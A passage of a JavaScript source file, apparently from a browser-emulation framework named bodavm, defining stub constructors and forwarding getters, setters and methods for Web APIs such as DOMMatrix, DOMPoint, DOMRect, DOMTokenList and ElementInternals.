bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m32_get", arguments)}, set:function m32 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m32_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "m33", {configurable:true, enumerable:true, get:function m33 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m33_get", arguments)}, set:function m33 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m33_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "m34", {configurable:true, enumerable:true, get:function m34 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m34_get", arguments)}, set:function m34 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m34_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "m41", {configurable:true, enumerable:true, get:function m41 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m41_get", arguments)}, set:function m41 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m41_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "m42", {configurable:true, enumerable:true, get:function m42 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m42_get", arguments)}, set:function m42 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m42_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "m43", {configurable:true, enumerable:true, get:function m43 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m43_get", arguments)}, set:function m43 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m43_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "m44", {configurable:true, enumerable:true, get:function m44 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m44_get", arguments)}, set:function m44 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m44_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "invertSelf", {configurable:true, enumerable:true, writable:true, value:function invertSelf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "invertSelf", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "multiplySelf", {configurable:true, enumerable:true, writable:true, value:function multiplySelf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "multiplySelf", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "preMultiplySelf", {configurable:true, enumerable:true, writable:true, value:function preMultiplySelf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "preMultiplySelf", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "rotateAxisAngleSelf", {configurable:true, enumerable:true, writable:true, value:function rotateAxisAngleSelf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "rotateAxisAngleSelf", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "rotateFromVectorSelf", {configurable:true, enumerable:true, writable:true, value:function rotateFromVectorSelf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "rotateFromVectorSelf", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "rotateSelf", {configurable:true, enumerable:true, writable:true, value:function rotateSelf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "rotateSelf", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "scale3dSelf", {configurable:true, enumerable:true, writable:true, value:function scale3dSelf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "scale3dSelf", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "scaleSelf", {configurable:true, enumerable:true, writable:true, value:function scaleSelf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "scaleSelf", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "skewXSelf", {configurable:true, enumerable:true, writable:true, value:function skewXSelf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "skewXSelf", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "skewYSelf", {configurable:true, enumerable:true, writable:true, value:function skewYSelf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "skewYSelf", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "translateSelf", {configurable:true, enumerable:true, writable:true, value:function translateSelf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "translateSelf", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "setMatrixValue", {configurable:true, enumerable:true, writable:true, value:function setMatrixValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "setMatrixValue", arguments)}},'prototype'); - -// DOMPointReadOnly对象 -bodavm.memory.globalobj['DOMPointReadOnly'] = function DOMPointReadOnly(){this._boarg= new bodaobj.window.DOMPointReadOnly();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DOMPointReadOnly'], "DOMPointReadOnly"); -bodavm.toolsFunc.defineProperty('DOMPointReadOnly', "fromPoint", {configurable:true, enumerable:true, writable:true, value:function fromPoint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMPointReadOnly'].undefined, "DOMPointReadOnly", "fromPoint", arguments)}}); -bodavm.toolsFunc.defineProperty('DOMPointReadOnly', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMPointReadOnly'].prototype, "DOMPointReadOnly", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMPointReadOnly', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMPointReadOnly'].prototype, "DOMPointReadOnly", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMPointReadOnly', "z", {configurable:true, enumerable:true, get:function z (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMPointReadOnly'].prototype, "DOMPointReadOnly", "z_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMPointReadOnly', "w", {configurable:true, enumerable:true, get:function w (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMPointReadOnly'].prototype, "DOMPointReadOnly", "w_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMPointReadOnly', "matrixTransform", {configurable:true, enumerable:true, writable:true, value:function matrixTransform (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMPointReadOnly'].prototype, "DOMPointReadOnly", "matrixTransform", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMPointReadOnly', "toJSON", {configurable:true, enumerable:true, writable:true, value:function toJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMPointReadOnly'].prototype, "DOMPointReadOnly", "toJSON", arguments)}},'prototype'); - -// DOMPoint对象 -bodavm.memory.globalobj['DOMPoint'] = function DOMPoint(){this._boarg= new bodaobj.window.DOMPoint();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DOMPoint'], "DOMPoint"); -bodavm.memory.globalobj['DOMPoint'].prototype.__proto__=bodavm.memory.globalobj['DOMPointReadOnly'].prototype; -bodavm.memory.globalobj['DOMPoint'].__proto__=bodavm.memory.globalobj['DOMPointReadOnly']; -bodavm.toolsFunc.defineProperty('DOMPoint', "fromPoint", {configurable:true, enumerable:true, writable:true, value:function fromPoint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMPoint'].undefined, "DOMPoint", "fromPoint", arguments)}}); -bodavm.toolsFunc.defineProperty('DOMPoint', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMPoint'].prototype, "DOMPoint", "x_get", arguments)}, set:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMPoint'].prototype, "DOMPoint", "x_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMPoint', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMPoint'].prototype, "DOMPoint", "y_get", arguments)}, set:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMPoint'].prototype, "DOMPoint", "y_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMPoint', "z", {configurable:true, enumerable:true, get:function z (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMPoint'].prototype, "DOMPoint", "z_get", arguments)}, set:function z (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMPoint'].prototype, "DOMPoint", "z_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMPoint', "w", {configurable:true, enumerable:true, get:function w (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMPoint'].prototype, "DOMPoint", "w_get", arguments)}, set:function w (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMPoint'].prototype, "DOMPoint", "w_set", arguments)}},'prototype'); - -// DOMQuad对象 -bodavm.memory.globalobj['DOMQuad'] = function DOMQuad(){this._boarg= new bodaobj.window.DOMQuad();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DOMQuad'], "DOMQuad"); -bodavm.toolsFunc.defineProperty('DOMQuad', "fromQuad", {configurable:true, enumerable:true, writable:true, value:function fromQuad (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMQuad'].undefined, "DOMQuad", "fromQuad", arguments)}}); -bodavm.toolsFunc.defineProperty('DOMQuad', "fromRect", {configurable:true, enumerable:true, writable:true, value:function fromRect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMQuad'].undefined, "DOMQuad", "fromRect", arguments)}}); -bodavm.toolsFunc.defineProperty('DOMQuad', "p1", {configurable:true, enumerable:true, get:function p1 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMQuad'].prototype, "DOMQuad", "p1_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMQuad', "p2", {configurable:true, enumerable:true, get:function p2 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMQuad'].prototype, "DOMQuad", "p2_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMQuad', "p3", {configurable:true, enumerable:true, get:function p3 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMQuad'].prototype, "DOMQuad", "p3_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMQuad', "p4", {configurable:true, enumerable:true, get:function p4 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMQuad'].prototype, "DOMQuad", "p4_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMQuad', "getBounds", {configurable:true, enumerable:true, writable:true, value:function getBounds (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMQuad'].prototype, "DOMQuad", "getBounds", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMQuad', "toJSON", {configurable:true, enumerable:true, writable:true, value:function toJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMQuad'].prototype, "DOMQuad", "toJSON", arguments)}},'prototype'); - -// DOMRectReadOnly对象 -bodavm.memory.globalobj['DOMRectReadOnly'] = function DOMRectReadOnly(){this._boarg= new bodaobj.window.DOMRectReadOnly();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DOMRectReadOnly'], "DOMRectReadOnly"); -bodavm.toolsFunc.defineProperty('DOMRectReadOnly', "fromRect", {configurable:true, enumerable:true, writable:true, value:function fromRect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRectReadOnly'].undefined, "DOMRectReadOnly", "fromRect", arguments)}}); -bodavm.toolsFunc.defineProperty('DOMRectReadOnly', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRectReadOnly'].prototype, "DOMRectReadOnly", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMRectReadOnly', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRectReadOnly'].prototype, "DOMRectReadOnly", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMRectReadOnly', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRectReadOnly'].prototype, "DOMRectReadOnly", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMRectReadOnly', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRectReadOnly'].prototype, "DOMRectReadOnly", "height_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMRectReadOnly', "top", {configurable:true, enumerable:true, get:function top (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRectReadOnly'].prototype, "DOMRectReadOnly", "top_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMRectReadOnly', "right", {configurable:true, enumerable:true, get:function right (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRectReadOnly'].prototype, "DOMRectReadOnly", "right_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMRectReadOnly', "bottom", {configurable:true, enumerable:true, get:function bottom (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRectReadOnly'].prototype, "DOMRectReadOnly", "bottom_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMRectReadOnly', "left", {configurable:true, enumerable:true, get:function left (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRectReadOnly'].prototype, "DOMRectReadOnly", "left_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMRectReadOnly', "toJSON", {configurable:true, enumerable:true, writable:true, value:function toJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRectReadOnly'].prototype, "DOMRectReadOnly", "toJSON", arguments)}},'prototype'); - -// DOMRect对象 -bodavm.memory.globalobj['DOMRect'] = function DOMRect(){this._boarg= new bodaobj.window.DOMRect();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DOMRect'], "DOMRect"); -bodavm.memory.globalobj['DOMRect'].prototype.__proto__=bodavm.memory.globalobj['DOMRectReadOnly'].prototype; -bodavm.memory.globalobj['DOMRect'].__proto__=bodavm.memory.globalobj['DOMRectReadOnly']; -bodavm.toolsFunc.defineProperty('DOMRect', "fromRect", {configurable:true, enumerable:true, writable:true, value:function fromRect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRect'].undefined, "DOMRect", "fromRect", arguments)}}); -bodavm.toolsFunc.defineProperty('DOMRect', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRect'].prototype, "DOMRect", "x_get", arguments)}, set:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRect'].prototype, "DOMRect", "x_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMRect', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRect'].prototype, "DOMRect", "y_get", arguments)}, set:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRect'].prototype, "DOMRect", "y_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMRect', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRect'].prototype, "DOMRect", "width_get", arguments)}, set:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRect'].prototype, "DOMRect", "width_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMRect', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRect'].prototype, "DOMRect", "height_get", arguments)}, set:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRect'].prototype, "DOMRect", "height_set", arguments)}},'prototype'); - -// DOMRectList对象 -bodavm.memory.globalobj['DOMRectList'] = function DOMRectList(){if (!(this instanceof DOMRectList)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DOMRectList'], "DOMRectList"); -bodavm.toolsFunc.defineProperty('DOMRectList', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRectList'].prototype, "DOMRectList", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMRectList', "item", {configurable:true, enumerable:true, writable:true, value:function item (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRectList'].prototype, "DOMRectList", "item", arguments)}},'prototype'); - -// DOMStringMap对象 -bodavm.memory.globalobj['DOMStringMap'] = function DOMStringMap(){if (!(this instanceof DOMStringMap)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DOMStringMap'], "DOMStringMap"); - -// DOMTokenList对象 -bodavm.memory.globalobj['DOMTokenList'] = function DOMTokenList(){if (!(this instanceof DOMTokenList)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DOMTokenList'], "DOMTokenList"); -bodavm.toolsFunc.defineProperty('DOMTokenList', "entries", {configurable:true, enumerable:true, writable:true, value:function entries (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMTokenList'].prototype, "DOMTokenList", "entries", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMTokenList', "keys", {configurable:true, enumerable:true, writable:true, value:function keys (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMTokenList'].prototype, "DOMTokenList", "keys", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMTokenList', "values", {configurable:true, enumerable:true, writable:true, value:function values (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMTokenList'].prototype, "DOMTokenList", "values", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMTokenList', "forEach", {configurable:true, enumerable:true, writable:true, value:function forEach (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMTokenList'].prototype, "DOMTokenList", "forEach", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMTokenList', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMTokenList'].prototype, "DOMTokenList", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMTokenList', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMTokenList'].prototype, "DOMTokenList", "value_get", arguments)}, set:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMTokenList'].prototype, "DOMTokenList", "value_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMTokenList', "add", {configurable:true, enumerable:true, writable:true, value:function add (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMTokenList'].prototype, "DOMTokenList", "add", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMTokenList', "contains", {configurable:true, enumerable:true, writable:true, value:function contains (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMTokenList'].prototype, "DOMTokenList", "contains", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMTokenList', "item", {configurable:true, enumerable:true, writable:true, value:function item (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMTokenList'].prototype, "DOMTokenList", "item", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMTokenList', "remove", {configurable:true, enumerable:true, writable:true, value:function remove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMTokenList'].prototype, "DOMTokenList", "remove", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMTokenList', "replace", {configurable:true, enumerable:true, writable:true, value:function replace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMTokenList'].prototype, "DOMTokenList", "replace", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMTokenList', "supports", {configurable:true, enumerable:true, writable:true, value:function supports (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMTokenList'].prototype, "DOMTokenList", "supports", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMTokenList', "toggle", {configurable:true, enumerable:true, writable:true, value:function toggle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMTokenList'].prototype, "DOMTokenList", "toggle", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMTokenList', "toString", {configurable:true, enumerable:true, writable:true, value:function toString (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMTokenList'].prototype, "DOMTokenList", "toString", arguments)}},'prototype'); - -// DragEvent对象 -bodavm.memory.globalobj['DragEvent'] = function DragEvent(){if (!(this instanceof DragEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'DragEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DragEvent'], "DragEvent"); -bodavm.memory.globalobj['DragEvent'].prototype.__proto__=bodavm.memory.globalobj['MouseEvent'].prototype; -bodavm.memory.globalobj['DragEvent'].__proto__=bodavm.memory.globalobj['MouseEvent']; -bodavm.toolsFunc.defineProperty('DragEvent', "dataTransfer", {configurable:true, enumerable:true, get:function dataTransfer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DragEvent'].prototype, "DragEvent", "dataTransfer_get", arguments)}, set:undefined},'prototype'); - -// DynamicsCompressorNode对象 -bodavm.memory.globalobj['DynamicsCompressorNode'] = function DynamicsCompressorNode(){if (!(this instanceof DynamicsCompressorNode)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'DynamicsCompressorNode': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DynamicsCompressorNode'], "DynamicsCompressorNode"); -bodavm.memory.globalobj['DynamicsCompressorNode'].prototype.__proto__=bodavm.memory.globalobj['AudioNode'].prototype; -bodavm.memory.globalobj['DynamicsCompressorNode'].__proto__=bodavm.memory.globalobj['AudioNode']; -bodavm.toolsFunc.defineProperty('DynamicsCompressorNode', "threshold", {configurable:true, enumerable:true, get:function threshold (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DynamicsCompressorNode'].prototype, "DynamicsCompressorNode", "threshold_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DynamicsCompressorNode', "knee", {configurable:true, enumerable:true, get:function knee (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DynamicsCompressorNode'].prototype, "DynamicsCompressorNode", "knee_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DynamicsCompressorNode', "ratio", {configurable:true, enumerable:true, get:function ratio (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DynamicsCompressorNode'].prototype, "DynamicsCompressorNode", "ratio_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DynamicsCompressorNode', "reduction", {configurable:true, enumerable:true, get:function reduction (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DynamicsCompressorNode'].prototype, "DynamicsCompressorNode", "reduction_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DynamicsCompressorNode', "attack", {configurable:true, enumerable:true, get:function attack (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DynamicsCompressorNode'].prototype, "DynamicsCompressorNode", "attack_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DynamicsCompressorNode', "release", {configurable:true, enumerable:true, get:function release (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DynamicsCompressorNode'].prototype, "DynamicsCompressorNode", "release_get", arguments)}, set:undefined},'prototype'); - -// ElementInternals对象 -bodavm.memory.globalobj['ElementInternals'] = function ElementInternals(){if (!(this instanceof ElementInternals)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ElementInternals'], "ElementInternals"); -bodavm.toolsFunc.defineProperty('ElementInternals', "form", {configurable:true, enumerable:true, get:function form (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "form_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "willValidate", {configurable:true, enumerable:true, get:function willValidate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "willValidate_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "validity", {configurable:true, enumerable:true, get:function validity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "validity_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "validationMessage", {configurable:true, enumerable:true, get:function validationMessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "validationMessage_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "labels", {configurable:true, enumerable:true, get:function labels (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "labels_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "states", {configurable:true, enumerable:true, get:function states (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "states_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "shadowRoot", {configurable:true, enumerable:true, get:function shadowRoot (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "shadowRoot_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "role", {configurable:true, enumerable:true, get:function role (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "role_get", arguments)}, set:function role (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "role_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaAtomic", {configurable:true, enumerable:true, get:function ariaAtomic (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaAtomic_get", arguments)}, set:function ariaAtomic (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaAtomic_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaAutoComplete", {configurable:true, enumerable:true, get:function ariaAutoComplete (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaAutoComplete_get", arguments)}, set:function ariaAutoComplete (){return bodavm.toolsFunc.dispatch(this, 